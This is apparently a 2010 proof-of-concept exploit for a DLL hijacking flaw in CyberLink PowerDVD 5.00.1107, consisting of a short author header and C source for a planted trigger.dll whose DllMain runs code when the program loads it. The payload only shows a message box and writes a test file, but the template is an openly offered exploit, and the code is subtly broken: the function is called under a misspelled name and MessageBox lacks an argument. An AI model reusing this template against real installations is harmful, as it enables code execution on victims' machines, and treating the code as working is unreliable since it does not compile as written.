PowerDVD version 5.00.1107 DLL hijacking exploit.
8ffac900622ad03cf1582395594d3181becb1e9462edd017fca13b0f9e43daa8
/*
[*] Author: Fernando Mengali
[*] e-mail: fernando.mengalli@gmail.com
[*] Date: 18/10/2010
[*] Name BUG: PowerDVD 5.00.1107 DLL Hijacking Exploit (trigger.dll)
[*] System tested: Windows XP (Version 5.1 Service Pack 3)
[*] PowerDVD.exe Version: 5.00.1107
[*] Software to Download: Não disponível
[*] Application Path: C:\Arquivos de programas\CyberLink\PowerDVD\PowerDVD.exe
[*] DLL Found => trigger.dll
*/
#include <windows.h>
#include <stdio.h>
int testando()
{
MessageBox(0, "Testando PoC", MB_OK);
FILE *fp;
fp = fopen("Inj3cti0nP4ck3t.txt", "w");
fwrite("it works ;-)", 1, 12, fp);
fclose(fp);
exit(1);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
testandp();
return TRUE;
}